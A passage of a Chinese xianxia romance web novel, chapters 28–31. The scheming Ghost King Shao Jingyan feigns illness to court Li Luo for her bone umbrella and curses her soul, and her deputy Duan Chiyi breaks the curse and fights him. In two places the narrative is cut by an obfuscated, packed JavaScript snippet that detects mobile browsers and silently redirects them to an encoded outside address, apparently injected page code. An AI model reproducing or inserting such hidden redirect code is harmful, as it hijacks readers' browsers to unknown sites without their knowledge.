紧接着,他就看到绍景言的眼神一下子变得意味深长起来。 下一刻,他的剑气推开鬼气,顺利接住了茶盏; 然而绍景言却“哎呀”一声,仰头朝后倒去,一副不看承受的虚弱模样,连嘴唇都开始发白。 他抬头看向段迟意,语气满是不可置信: “段公子,你……咳咳……” 话没说完,他便低头重重咳嗽起来。 黎落急忙上前扶绍景言: “你怎么了?摔伤了吗?” 段迟意捧着茶盏,看着绍景言的做作模样,神情冷漠,语气嫌弃: “你装什么?分明是你自己想摔茶盏,又故意摔倒的。” 他看向黎落: “你不用扶他,他没事。我的剑气不会误伤。” 黎落有点茫然,绍景言已伸手,一把拉住她的胳膊,冲她虚弱地摇了摇头: “落儿姑娘,我没事,可是,你的副阁主,他,他刚刚……” 一句话没说完,他又坚持不住似的,“咳咳咳”一阵咳嗽,脸颊都被咳出了红晕,看着随时都要倒下。 黎落无奈: “你真的没事吗?我先扶你起来吧。” 段迟意忍无可忍,上前一把拉开黎落的手,冲绍景言冷冷道: “别碰她!” 谁知绍景言见他过来的同时,猛地朝后一退,宛如见到了什么洪水猛兽似的,慌乱着伸着手,大喊黎落的名字: “落儿姑娘——落儿姑娘!” 黎落又凑过来,被他一把抓住袖子。 绍景言神情委屈: “落儿姑娘,你不要走远,我害怕段公子……” 黎落拍拍他胳膊: “你别怕,他是我云苍的副阁主,不会伤害你的。” 她替段迟意说好话: “刚刚你摔倒,可能是不小心绊住了,毕竟他剑法很厉害,从来不会误伤人。” 段迟意“哼”了一声。 他才懒得同这绿茶鬼掰扯,幸好黎落相信他的为人。 谁知绍景言闻言,缓缓低下头,露出个恰到好处的苦笑: “既然落儿姑娘这么说,那——就当是我不小心摔的吧。” 他冲段迟意拱手行了一礼,一副忍辱负重模样: “只是段公子,在下身体素来不好,经不起这样的‘意外’,我实在不敢与公子再多相处了。还望公子见谅。” “意外”两个字说的格外明显,偏偏礼貌得体,叫人找不着话头反驳。 段迟意:“……” 他感觉自己着了道。 若是往日听见有人这样阴阳他,他定是会觉得:只要自身正,无需在意他人的看法。 但看见黎落也随着绍景言的动作狐疑地看向他,他只觉得一股无名火从头冲到脚,比黎落在骨伞幻境里刺他那一簪子时还要生气—— 不,不止是生气,甚至憋屈至极! 从他进寒冰域到现在,两百多年了,他还从未有过如此百口莫辩的时候! 这个绍景言,演了这么一出,就是为了找个由头将他赶出去,好和黎落单独相处! 偏黎落,睁个眼睛只为好看! 那绿茶鬼如此拙劣的谎言,她竟一点都察觉不到,还由着人靠着她站起来,还要跟他单独在园子里逛逛…… 看着黎落跟绍景言离开的背影,段迟意手里的茶盏被他冻成了冰,又碎成了渣,寒雾一样飘散在空中。 段迟意咬牙切齿。 好,真好,好极了!!! 他的眼神越发冰冷,几乎要掉出冰碴子。 28. 第 28 章 鬼界并无白天黑夜之分。 和黎落一起看完园子赏完花后,绍景言又主动提议,带她去归栖城街上逛逛。 黎落求之不得,欣然同意。 身后一直不远不近坠着个身影,目光跟冰刀子一样在两人后背上刮,黎落不是没有发现。 但她一门心思想要探听无量冥海的消息,只能暂时委屈一下段迟意。 绍景言从摊位上拿起一根发钗,往黎落头上比划: “落儿姑娘,这个衬你。” 背后的眼刀子骤然变冷。 黎落急忙将他手从自己头上拉下来: “绍公子不必为我破费,我不喜欢这些身外之物。” 绍景言讶然: “怪不得落儿姑娘头上如此素净,原来是更看重内在。” 黎落不好意思一笑。 虽说绍景言别有用心,但舌灿莲花,总能夸得人心花怒放。 段迟意冷眼看着绍景言拿着簪子在黎落头上比了比,随后不知说了什么,黎落便笑得跟朵花一样。 那两人走开后,他站到了首饰铺子旁,店家喜气洋洋地同他推销: “公子来看首饰啊,是送给自家娘子吗?哎呀公子真是痴心人,爱情至死不渝,真叫鬼羡慕啊……” 段迟意看了看铺位上的首饰,准确找到了绍景言方才摸过的那一根簪子。 店家忙不迭道: “公子好眼光!方才刚过去一对儿小情侣,也是一眼就看上这簪子了呢!” “情侣?” 段迟意神色冷了几分: “你怎知他们是情侣?” 店家一脸“你不懂”的表情,摆了下手: “郎才女貌,那位公子哄得那位姑娘眉开眼笑的,一看就有戏!” 说着,这鬼自得地晃了晃头: “啧,哪里瞒得我这双眼哦,就算现在不是,很快也会是了……” 段迟意神色不快,恨恨将簪子放了回去。 忍了又忍,他还是觉得生气。 明明储物袋里还装着黎落的发饰,若是她需要,来寻他便是,竟然和那个别有用心的鬼有说有笑…… 什么破簪子,不及云苍阁中的半点漂亮。 仍觉不甘心,他又捡起那根簪子,目光像是要在簪身上盯出一个洞。 店家看了半天,寻摸出点意思。 她敲了敲桌边,放低声音: “唉,我说公子,你是不是认识前头那俩人啊?” 她下巴朝前头的摊位伸了伸,示意段迟意看向那边。 黎落和绍景言正站在一口铁锅前,看老板炸丸子。 烟气蒸腾的,竟真有几分寻常夫妻相携出游之感。 段迟意被自己这个念头恶心到,心里的酸水不受控制地往外冒。 又听见面前店家说: “啧,你怎么不早说,那位姑娘还给你留了东西呢。” 说着,她从摊位后头掏出一块色泽莹润的石头坠子。 段迟意的目光落在坠子上。 图案是观音,却与寻常端坐莲花台的观音不同,左脚踩在莲花上,右腿曲蹲,竟是一副自在姿态。 这店家见他对图案感兴趣,忍不住多说了几句: “此物原是我生前偶然所得,不是什么贵重东西,但上面的自在观音,却是十分稀罕。” 见段迟意不虞的神色有所松动,她笑了笑,朝身后躺椅上一靠,道: “人生一世,难有自在,便是观音大士,高居莲台观苍生之景,亦在苍生之中。世人见我这石坠,常道离经叛道,有违佛法。” 说着,她问段迟意: “公子觉得呢?” 段迟意垂眸道: “观世界形能自在无碍,对苦恼众生能自在拔苦与乐。自在观音,有大智慧。” 这店家于是乐了: “什么碍不碍的,绕口得很,大娘我听不懂。” 但她仍很高兴的样子,摆手道: “不过你同那位姑娘倒是很像。她将这坠子买下来、叫我给你时,也说了句话。” 段迟意抬眸,看向不远处摊位旁的黎落。 她似有所感,也恰好转头看向他。 见他手上拿着石坠,便知道他已经发现了自己留给他的惊喜,于是扬起脸,冲他缓慢又坚定地眨了两下眼睛,很是开心的模样。 “她说祝你,无拘无束,安乐自在。” 段迟意将刻着自在观音的石坠握在掌心,忍不住跟着黎落笑了起来。 什么怪表情啊…… 只有猫,才会在表达喜欢的时候,慢慢对着人眨眼睛。 * 黎落见段迟意笑了,这才放心转回头。 绍景言拿着一袋糖油果子,保养得当的双手很是小心地捏着纸袋边缘,生怕被油污脏了手。 但他的语气依然贴心温和: “落儿姑娘,虽说很想带你尝尝鬼界的食物,但到底阴气太重,于你寿数无益。” 他倒实诚。 黎落的目光从糖油果子上扫过,点点头: “没关系的,正好我不喜欢吃这些油腻的。” 绍景言于是满意,他将纸袋子放下,带着黎落朝前走去。 两人刚一走开,段迟意便站到了炸丸子的摊位前。 他身形俊逸,面如冠玉,站在烟熏火燎的铁锅面前,十分格格不入。 “怎么炸?” 他开口,却是虚心求教。 炸丸子的老板诧异地掀起眼皮,见他拿起了绍景言随手放在一边的纸袋,里面的糖油果子还冒着热气,芝麻和油香一齐冲了出来。 老板耷拉下眼皮,拨拉了一圈锅里的油,见段迟意还站在这里,于是极不情愿地将原料和做法念了一遍: “白糖、糯米粉、温水、白芝麻……” 说完,看见段迟意还在认真听,老板忍不住道: “可别怪我没提醒你,这东西不好做,稍不留神就甜腻得很,费力不讨好……” 他嘟嘟囔囔的: “想吃的话,还是到我这儿买做好的比较划算啊……” * 绍景言将黎落带到一处店面。 黎落一抬头,赫然看到一把花里胡哨的“伞”挂在门口。 绍景言表情自然,完全看不出是故意为之: “归栖城里,独属这家店的伞面最为别致。我素来喜欢收集伞面,每逢出门,定要来此逛上一圈。” “……” 真刻意啊。 黎落心想。 她刚拿了骨伞,鬼王就带她来伞铺,真当她是好糊弄的傻子吗? 但她面上不显,反而一副格外期待的模样: “真的吗?那我倒要看看,这家店的伞面有什么特别的,能让绍公子这么喜欢。” 绍景言笑容更深。 他抬手为黎落掀开帘子。 一入内,便见几个鬼围作一圈,神神叨叨地对着正中央展开的一把伞赞叹不已。 “绝世好伞!” “鬼界少有!” “什么鬼界少有,简直世间少有!想来那魔尊骨伞也比不过此伞!” 见黎落二人进来,他们齐齐噤了声。 绍景言微微抬眸,使了个眼色,那几人又开始磕磕巴巴地演了起来。 其中一人立马上前将正中间的伞收了起来: “您……你怎么又来了?!” “就是!说了没有就是没有!你再怎么纠缠都不会有的!活不长久就是你的命!” 绍景言看了一眼黎落,一脸愧疚: “抱歉,今日似乎来的不是时候,不能带落儿姑娘参观伞面了。” 黎落摇了摇头: “无妨的,我不看也可以。” 两人又一起出了铺面。 绍景言走了两步,余光偷瞥黎落,却见她仍低着头专心走路,丝毫没有要关心他的意思。 他心里不免焦急,故意长叹一口气。 黎落闻声抬头,目露关切。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但他又担心黎落张口说出什么“绍公子为难的话可以不说”之类的蠢话,故而话锋一转,急忙道: “不怕姑娘笑话,我自出生便身有暗疾、命不久矣,家中长辈延医请药均无效果。” “后有幸得一世外之人相助,他告诉我,唯有魔尊骨伞可救我性命。” “那时我便立下誓言,若奉上骨伞之人为男,我便以全数家财相赠;为女,我便以全数家财为聘,一生相护……” 说完,他羞涩一笑,风华绝代,引无数女子折腰。 “但这么些年过去了,骨伞仍杳无音信。” 绍景言自嘲地摇了摇头,抬起袖子掩在唇边,轻咳两声: “想来是我命该如此,那骨伞消失多年,魔尊更是死的渣都不剩,如何还能寻到呢?” “罢了罢了,也许,这就是我的命数……” 他放下袖子,看着黎落一脸的欲言又止,露出强颜欢笑的神情: “抱歉,是我多嘴了,姑娘不必安慰我,只当是听了出荒诞的戏文,不必替我忧心。” 演完这出独角戏,绍景言十分满意自己的表现,忍不住期待黎落的反应。 看看,看看这揪住自己衣角的小动作,看看这蹙起的眉头,看看这欲言又止的神情。 她分明是为着他的话十分揪心,定是在内心天人交战。 一边为他许诺的求娶心动不已,一边却因着那点子微不足道的警惕心,纠结自己该不该冲他说出实情,拿出骨伞救他性命…… 黎落这样的人族小姑娘,根本不可能逃的过“痴情女爱上温柔郎”的戏码。 更何况他这般的俊俏容颜,正是人族女子最难拒绝的病弱温柔小郎君。 这个钩,她必咬无误! 许久后,黎落终于纠结完毕,下定决心般抬起头,直视着他的眼睛: “其实,我有句话想说。” 绍景言双目热切。 见她犹豫不决的样子,忍不住出言鼓励她: “无妨的,落儿姑娘在我面前,可以知无不言,言无不尽。” 黎落受到鼓励,感激地看了一眼他。 然后她说: “我刚刚就想问了,你已经是鬼了,还能怎么命不久矣啊?” 29. 第 29 章 黎落回到屋子里,关上门。 一想到绍景言最后难看的脸色,她便忍不住笑出了声。 不过转念一想,原书剧情中,鬼王正是以求娶为名,拿出了“无量冥海”作聘礼。 若是她想省些功夫,直接用骨伞交换,便可轻易得到“无量冥海”了。 这想法只在她脑子里一闪便消失了。 因为她被桌子上的东西吸引了目光。 鬼界只有夜晚,屋子里本该一片漆黑。 但此刻她一转身,便见屋内星光清浅,宝珠微明——有人用夜明珠为她做了一盏灯。 却又不是一盏普通的灯,造型像灯笼一样,明珠外面包着精致的罩子,比她在这里见到的所有灯笼的花纹都要好看。 夜明珠的光芒如星,从精心雕刻的花纹缝隙中透出,呈现出别样的逸致。 不会是绍景言,他不知道自己晚上喜欢留灯。 黎落双手将这盏灯捧了起来。 随着她的动作,原本静止的光芒上下浮动,夜明珠的光芒被刻了精巧花纹的灯罩一笼,在墙上映出深浅不一的光晕。 ——像星星。 整间屋子都如同漂浮在星海之间一般,美轮美奂。 黎落举着灯玩了一会儿,忽然想到什么似的,又抱着灯出了门。 * 推开门的一瞬间,段迟意就察觉到了不对劲。 剑气倏得攻向床头,却在靠近的瞬间认出的熟悉的气息,无声消散在空中。 他果断放下手里的东西走向床边。 床上的被子盘成一团,有人躲在里面,用被子将自己裹得严严实实。 看形状,应当是弓腰跪坐着,将自己也盘成了一个球。 “你……在干什么?” 段迟意不解,他伸手,思考要不要拉开被子。 谁知他话音刚落,密不透风的被子就主动裂开了一条缝,露出黎落惊恐中带着惊喜的目光: “段迟意?!” 她又用这样的语气喊他名字,仿佛十分离不开他的样子。 星星灯在她怀里抱着,打开被子的一瞬间,仿佛万千萤火飞了出来,把正中央缩着的人衬得月亮一样明媚。 看到黎落的同时,段迟意冷淡的脸色缓和了几分。 但他还没说话,便见黎落从被子里伸出来一只手,攥住他的袖口,把他朝床上拽。 她用了很大力气,显示出坚定的决心。 段迟意没有反抗,随着她的动作“摔”到了床上。 黎落这次怎么没说外衣的事儿了? 这念头猛得冒出来,下一刻他又意识到:这是他的床,黎落怎么跑到他的床上了? 头上罩上一片黑暗,黎落伸长了胳膊,将他也盖进了被子里。 这下,他和黎落都在他的床上了。 盖着他的被子。 段迟意为这个认知感到怔愣。 但紧接着,黎落便抱着灯凑近了他。 甜香和星星点点的光一下子围了过来,将她的眼睛照得透亮。 极其静谧的空间里,只有他们两人,四目相对。 段迟意的呼吸静不可闻。 黎落眨了眨眼睛,将怀里的星星灯放下,郑重地摆在两人中间,问他: “段迟意,这是你做的吗?” 她的脸颊有点红,不知在被子里藏了多久。 段迟意怕她闷坏了,抬手要掀开被子,却被黎落按住手背。 她的手心也有点不同寻常的热,段迟意动作一愣,听见她催促道: “快说啊,是不是你做的?” “嗯。” 段迟意看着她,没有否认。 黎落松开了压着他的手,恢复缩成一团的动作,赞叹道: “你真厉害!你怎么忽然送我礼物?还这么好看!” 段迟意想了想,将石头坠子拿了出来: “你的回礼。” 言简意赅,符合他一贯的习惯,但此刻听着,倒好像是要划清什么界限似的。 刚说完,段迟意便觉得懊恼。 他这种说法,万一黎落误会了怎么办? 于是他又补充道: “安乐自在,我很喜欢。” 黎落的眼睛更亮了,朝他的方向挪了挪: “你喜欢就好!我一眼就看上这坠子了!无拘无束,安乐自在,想想就觉得痛快!送给你!” 她语气激动,如果不是被子压着,几乎要手舞足蹈起来。 身上原本的甜香随着她的动作幅度变大,扩散得越发明显,其中却夹杂了一丝微微的苦。 段迟意敏锐地发现不对劲。 “你……” 他开口,语气迟疑。 黎落已经退了回去,两只胳膊压在身前,攥着拳头,低着头,仓鼠一样在被子里缩了起来。 段迟意蹙眉,探身过去,拉住她的手腕。 谁知便跟炸了天一样,反而引得她越发拼命朝后退去: “你你你——你放开我!” 段迟意没想到她这么排斥自己的靠近,心里一怔,松开了手。 黎落便跟受了天大的惊吓似的连连后退。 快要退出被子边的时候,她又停了下来,头上顶着被子,叹了长长一口气。 段迟意冷眼看着她一系列的动作,只是为了离他远些。 他的心就跟空了一块似的,又凉又苦。 是因为绍景言吗? 这才相处没多久,便迫不及待地要远离他了。 那她又何必给自己送什么“自在观音”呢? 是打算抛弃他的补偿吗? 只他像个傻子一样,眼巴巴做什么“夜明珠灯”,还去学做什么糖油果子…… 甚至现在还待在这里,同她玩些小孩子说悄悄话的游戏。 段迟意忍不住自嘲一笑。 他恢复了冷淡神情,转身打算离开这个全是黎落味道的被子。 袖口又被人拉住了。 段迟意回头,黑眸定定看着黎落。 她皱着一张脸,很是委屈的模样: “你别出去。” 无法掩饰的困惑从段迟意眼中浮现。 他开始不懂她了。 或许他从来都不懂她。 他的表情一定不算好,段迟意想,不然黎落不会用这样欲言又止的表情看着他,然后一点点松开拉着他袖口的手,很是不甘心地说了句: “那你走吧。” 段迟意眯起眼睛。 他作势要起身离开。 然而,在黎落不注意的时候,段迟意却忽然回身,猝不及防靠近她,一手按住她肩膀,一手扣在她手腕上。 微弱的脉搏在他指腹下跳动。 她身上滚烫,被他忽然的动作吓了一跳,但却老实不动了。 灵力在她经脉中快速游走一圈,不见问题。 但她魂魄不稳,显然是中了咒。 “连心咒,应该是你魂魄离体那天鬼王下的,连我都没能发现。” 段迟意将她按到自己怀里,调整了姿势,方便他解咒。 “段迟意,我好难受啊……” 黎落被他扣在怀里,下巴放在他肩膀上,发梢时不时扫过他脖颈,带来一阵难言的痒意。 她声音低低的: “我感觉又冷又热的,但是一碰到你,我就特别想抱你。” 她的呼吸带着不寻常的热,打在他颈窝,仍在喃喃自语: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15411701|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不想让你走的,你在的时候我才觉得安心……可是我太想摸你了,而且我还想咬你,我好冷……也好热,好难受……” 黎落前言不搭后语地说着。 她歪了歪头,将脸贴在他脖子上,借着他身上的凉意舒缓灵魂的灼热。 甚至还舒服地喟叹出声。 段迟意失笑。 她到底知不知道自己在说什么? 喉结上下滑动了一下,他微微侧过脸,强逼自己定神。 “这咒下的极为隐蔽,我得用神识探你魂魄,可能有些不舒服,你不要乱动。” 他开口,知道黎落无心听他的话,也不必等她回应。 一手按着黎落脉门,一手扣在她背上,压得她无法起身,只能被迫老实靠在他怀里。 她对危险浑然不觉,沉浸在触摸冰凉的舒适中,没过一会儿,又想要靠近温暖的东西,脸颊十分不老实地在他脖子上蹭来蹭去。 甚至还微微张了口,试探着咬他喉结。 牙齿没多少力气,只在表皮一划而过,像小动物表达友好的轻咬,不痛,但却让他眉头一跳。 唇瓣的温度比他高的多,贴在他脖颈上,柔软的,漫不经心地擦过喉结上的小痣—— 段迟意猛得闭上眼睛。 神识离体,巨大的灵力骤然爆发,又迅速被段迟意压在床榻范围,不会被外人发觉。 整个空间都仿佛结了层霜似的,寒气从四面八方渗来。 黎落终于放弃用脸蹭他的脖子。 不受压制的神识带来巨大的寒意,她骤然间变得又冷又热,整个人好像忽然被扔进了冰窖一样,段迟意比寻常人更凉的皮肤不再让她觉得舒服。 她想离他远一点。 况且段迟意的神识带着强大的威压,她本能觉得害怕。想后退,却被段迟意按着无处可退。 魔气上涌,求生本能让她想要召唤出骨伞反击。 可段迟意早有准备,按着她的脉门以做警告,逼得魔气不得不龟缩回去。 黎落进退两难,只得被迫靠在段迟意怀里,眼睁睁看着半空中漂浮着的一团光球逐渐朝她靠近。 寒气凌厉如刀割,刺得她双目剧痛,不得不闭上眼睛。 段迟意的神识直接融进了她体内。 冷。 好冷。 密不透风的冰将她包裹起来,呼吸都仿佛带着冷气。 但身体却好热,魂魄躁动不安,无比排斥这团外来的东西。 魔气想要对抗这股强盛的灵力,却在涌起的瞬间被彻底冻结。 黎落感觉自己像是被瞬间冻在冰雕中的鱼,浑身僵硬,无法逃跑,却能感到一双沉寂的双眸扫过她周身,细细刮过她的灵魂。 灵魂被别人捏在手中,失去灵魂控制的躯体无力地倒在段迟意怀中。 段迟意神色不变,分明闭着眼睛,长臂却及时将她揽住,从按着她的后背、变成将她完全抱在怀里的动作。 皱起的额头逐渐放松,黎落的表情开始变得茫然。 某个瞬间,段迟意忽然睁开了眼睛。 他双眸黑沉如冷玉,目光隔着虚空锁在黎落魂魄中的一点,神识迅速朝那里靠近,化作长剑模样,毫不留情地朝下砍去。 黎落顿时痛苦地挣扎起来。 段迟意垂眸看她一眼,眼里闪过几分担忧,而后更加用力地将她抱着。 神识动作却丝毫不见犹豫,干脆果决地将附着在她魂体上的咒术砍下。 寒冰依附而上,将神识砍落的东西瞬间冻结,剑气扫过,碎成一地浮沫。 连心咒解了。 脸埋在他颈窝的黎落彻底坚持不住,眼泪吧嗒一声滴落,滚烫的,砸在他锁骨上。 冰雪消融。 30. 第 30 章 一室静谧,唯有夜明珠的光透过灯罩流出,星星点点的碎光洒在相拥的两人身上。 谁也没有说话。 段迟意将黎落抱着,感受到她安静地靠在自己胸口,温温热热的一团。 她的心跳声隔着两人相贴的地方传来,和她的呼吸一样平稳而清缓。 手臂下的腰身软而无力,以一种十分依赖的姿势由他抱着,乖巧的不像话。 淡淡的甜香飘在他鼻尖,像拥了一朵格外娇嫩的花。 他想将这花拥抱得更深些,却又不忍用力,怕折了她稚嫩但从不弯曲的花茎。 段迟意极轻、极轻地舒了口气,悄悄将两臂都环在怀中人身后,彻底变成拥抱的姿势。 黎落并无察觉他的小心思。 她将脸贴在段迟意衣襟上,微凉光滑的触感反而让她觉得无比安宁。 段迟意的怀抱和他这个人一样,凉凉的,很安心。 黎落身体不想动,思绪却一个劲乱飘。 一会儿想着段迟意或许是冰块成了妖,所以体温才这么低; 一会儿又觉得不对,他的皮肤瓷白如玉,定是白玉成妖,所以才能长的这般好看; 一会儿又觉得他其实是朵漂亮冰花,不然怎么解释他身上这股轻轻浅浅的冷香,比这世上其他的香味都要好闻。 ——似乎不是衣服上的味道,更像是从他衣领下的皮肤上传来的…… 黎落忍不住动了动头,想更凑近些闻清楚。 段迟意察觉到她动作,护在她背后的手先是下意识用力按住她动作,而后又飞快松开。 他垂眸看她,发现她正睁着眼睛,灼灼目光落下的方向,正是他被衣领半遮半掩的脖颈。 看她的动作,似乎是想将脸埋到他衣领下…… 段迟意的呼吸不由得放轻了。 他屏息等了片刻,黎落却没有下一步动作了。 于是他将环抱着黎落的胳膊松了松,却也不见她有起身远离自己的打算。 段迟意于是默不作声地将她重新抱住。 良久,黎落才停止胡思乱想。 她轻轻叹了口气,忽而开口道: “你出去了吗?” 黎落趴在他怀里,猝不及防的一问,石破天惊。 “!” 段迟意猛得睁大了眼睛。 他鲜少有这样震惊情绪外露的时候,幸而无人可见。 黎落又重复了一遍: “你的神识,出去了吗?” 连心咒解除,她又有了精神,开始好奇别的: “说起来,灵妖也有神识吗?” “出……出去了。” 段迟意磕磕巴巴回答,一时间竟然不敢低头看她。 他定了定神,道: “灵妖和修士很像,有神识。” 说完,为了避免黎落细想之下发现不对,他立马反问了句: “那你呢?你在外面玩了一天,回去后不休息,跑我床上做什么?” 他说得很快,有些急,若不是语气一直较为平淡,反倒显得有些酸酸的。 好在黎落并未留意他语气的细微不同,而是轻易便被他的问题带偏。 她在他颈窝中又叹了口气,直白道: “不知道,只是一看见你送的灯,忽然就很想见你。” 段迟意双眸一颤。 又见黎落直起脖子,用下巴顶着他的锁骨,扬起脸看他,漂亮的眼睛里带着不满,理直气壮地质问他: “段迟意,你怎么一整天都不来和我说话?” 明明是她非要和绍景言出去玩,怎么有脸来责怪他“不和她说话”? 段迟意想揍她,抚在她背后的手抬了抬。 但是一看见她眼角的泪光,他的心又软了下去。 于是抬起的手移到了她脸侧,指腹轻轻触碰她眼角,将那一点水光拭去。 她条件反射般闭眼,睫毛像刷子一样扫过他的指尖。 痒痒的。 心头像是被羽毛轻轻挠了一下,段迟意动作一顿,手便停在了她脸颊上。 掌心虚拢着,隔着微毫距离,仿佛能感受到她脸颊上细密柔软的绒毛一遍遍划过他手心。 他感觉心里更痒了。 * 绍景言站在黎落门口,敲门,却无人应答。 他绕了那么大一圈,没成想黎落是个货真价实的傻子,虽然好骗,却全无脑子,根本听不懂他的弦外之音。 既然脑子不好,那便只好叫她吃些苦头。 他早已在黎落魂魄上种下连心咒,待她咒术发作,痛苦难当之时,他便能恰好出现…… 到时美人在怀,他再适时咳上两口血,不怕黎落不上钩。 可谁知他掐好了时间赶来黎落房门口时,却没能听见任何动静。 没过多久,他就感受到了连心咒被人解除的反噬。 绍景言心道不妙,欲离开。 谁知他刚转身,便见一道剑光劈来,气势凌厉,锐不可当。 绍景言匆匆躲避,才避免了被连肩砍落手臂的下场。 他脸上的阴柔之色转为狠毒: “你好大的胆子,敢在本王的地盘上动手!” 段迟意拎了拎手里的剑,轻飘飘一把,不是什么上好的材质,但已经是鬼界中能寻到的最好的剑了。 他面色不变,像根本没听见绍景言的话一般,抬手又是一剑刺来。 绍景言躲得狼狈。 他喊“冥犬”,却并未见到那条小黑狗。 段迟意的剑已在他胸前划出长长一道,不见血色,只有鬼气从伤口中冒出来。 绍景言脸色难看: “你杀了冥犬?你到底要干什么?” 段迟意一剑直接从他胸膛刺入,和他皮下的骨架碰撞,发出刺耳的摩擦声,鬼气四散。 段迟意显然知道他是鬼王,但这个身份在对方眼里,和一条狗没什么区别。 意识到这一点,绍景言脸色乌青。 他惯常喜欢“智取”,引以为豪的一直是他聪明的大脑、绝佳的演技和容貌,没想到会遇见段迟意这种一言不发指光抡剑的武夫。 明知他是鬼王,竟还敢对他动手?! 绍景言扬手,无数鬼影涌向段迟意,却纷纷在触及长剑的瞬间灰飞烟灭。 那铺天盖地压下来的剑意根本挡无可挡,一把普通的剑,在段迟意手中也能成为斩鬼削邪的神器。 联想到之前段迟意的剑招,绍景言不由得大惊失色: “你到底是谁?” 段迟意长剑已至。 “你喜欢黎落?” 情急之下,绍景言大喊出声。 他本不抱期待,已做好了仓皇逃命的准备,却没想到段迟意真的收了剑势。 长剑竖在他脸前,绍景言几乎可以感受到剑锋上的冷气。 额头自中间一凉,便有一道蜿蜒血色悄然流出,露出其下森然白骨。 分明没有碰到他,剑气却足够划破他的皮囊! 绍景言喘息,知道他是为着黎落来找自己的麻烦。 “身为下属,却觊觎自己的阁主,你就不怕她知道后,觉得你恶心吗?” 他自以为说的足够震撼人心,谁知却见段迟意微微勾了勾唇。 一个嘲讽的笑。 这神情让绍景言感觉自己在段迟意面前像一个挑拨离间的小丑。 他被段迟意的剑气压着,眼看剑锋又朝他靠近了几分,绍景言急忙道: “她已对我情根深种,你杀了我,定会引得她与你反目!” 段迟意神色一凌,目光如刀子般寸寸割过绍景言的脸,但却没有再继续往下压剑了。 绍景言刚松了一口气,就听见段迟意冷冷道: “她不喜欢你。” 绍景言眉头一跳,说实话,他现在还真不敢确定黎落是否喜欢他。 但段迟意能有此言,定是对此事十分在意。 于是绍景言道: “若是不喜欢,她怎会在林中救我?若是不喜欢,她怎会同意与我出游?她甚至还答应,会将骨伞赠于我……” 段迟意微微眯起眼睛,他没有说话,下一刻,长剑却直接将绍景言的脸皮劈成了两半。 绍景言顶着骷颅头,顿时哑声。 他忽然意识到,黎落是个傻子,能发现连心咒并将其解除的,一定是段迟意。 这个云苍副阁主绝非池中之物,能甘心留在黎落身边,必然所图甚大。 或许是个更好合作的对象。 与其绕道和一个傻子周旋,不如直接从段迟意身上下手。 于是绍景言话锋一转,说道: “你实力如此之强,何必屈居人下,当什么副阁主?” “我能引得她对我痴心一片,自然也能把秘诀告诉你。” 绍景言蛊惑道: “美人在怀,还可直接获得云苍矿脉,一举两得,岂不快哉?” 说了一大堆,段迟意本已 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仔细看看,这些食物好像都被掰成了两半…… 忽然,系统的声音冒了出来: “宿主!已经第六天了!你怎么还在鬼界?魔君怎么还没出现救你?” 黎落一下子站直: “六天?怎么可能?我不是才……” 她想到了什么,忽然闭了嘴。 鬼界没有白天只有夜晚,她感觉自己只睡了一次觉,但真的只过去了一个晚上吗? 她的魂魄被鬼王使计勾走,段迟意为了救她,也跟着进入林子,谁能保证那里的时间流速和人界一样呢? 是她大意了…… 鬼王想要骨伞,定不会只选择勾引她这一条路。 如果她真的被模糊了时间,必然会错过明日往生道打开。 一个人族,留在鬼界越久,便越难活着出去…… 系统明显不安起来: “怎么会这样?男主怎么会不来救你?就算他不够爱你,又怎么会放着骨伞不来取?” 黎落见它如此紧张,不由得疑惑: “往生道七天一开,就算他不来救我,我也能自己出去吧?” 系统冷漠道: “不可能的,就算到了第七天,往生道也不会开的。” 黎落猛得抬眸,听见它用机械声音毫无感情地说: “往生道早被锁死,若是没有魔君来救,你根本出不去鬼界,更不能完成定情的名场面!” “先前不告诉你,只是怕你胆小懦弱,不敢进鬼界,这才暂时瞒着你。可是你把一切都毁了!” 它不在乎黎落是否能活着离开鬼界,反而厉声质问她: “我休眠的时候,你都对男主做了什么?他怎会不顾你的生死,连骨伞都不要了?” 黎落在心中冷笑一声。 但她面上不显,只道: “你怎么能来问我呢?每一步我都按照你说的做,可是那封樾根本就不喜欢我!我根本不可能攻略成功!” 她掩面,呜呜哭了起来: “你明明说过不会有问题的,我老老实实等了这么多天,结果根本没人来救我!我得死在鬼界了!” 系统厌烦她哭哭啼啼的样子,却又得为了任务哄她: “宿主,您先冷静,事情还没到那一步。” 黎落捂着脸摇头: “你骗我,我之前信了你的鬼话,爹娘死了不能哭,别人欺负我不能躲。我为了完成剧情,差点都成了魔头被修士杀掉了!现在你竟然还骗着我送死!” 她哭到伤心处,气都喘不上来。 系统只得道: “还有办法。” 黎落的哭声停了一瞬,听见系统说: “鬼王有一法宝,可以凝聚残魂,连通六道轮回。” “如果你能哄得鬼王拿出法宝,纵使没有往生道,也有机会回到人界。” “这法宝,原著里,鬼王逼你成婚时拿出来过……” “我记得。” 黎落开口,打断系统的话: “无量冥海。” 她擦了擦眼泪,双眸带着水光,却毫无伤心之态,甚至带着真诚的感激和笑意: “谢谢你提醒我,我马上就去想办法!” 31. 第 31 章 “姓段的!你言而无信!” 绍景言匆忙抵挡迎面砍来的长剑,胳膊上的皮随之开裂,露出其下白骨。 他气的骨头缝都在冒火。 这段迟意看着是个正派的,没想到竟如此言而无信! 自己前一秒说了句“以上就是全部秘诀”,下一秒便见段迟意点了点头,身形一动,二话不说就提剑砍了过来。 翻脸速度让绍景言叹为观止。 “你怎么敢杀我?你就不怕黎落与你翻脸吗?她可是十分喜欢我!” 段迟意闻言,连嘲讽的笑都懒得给他,只淡淡道: “杀了你,她便没得喜欢。” 剑风更加冷厉,险些将绍景言的头砍下来。 他急急催动纸扎人。 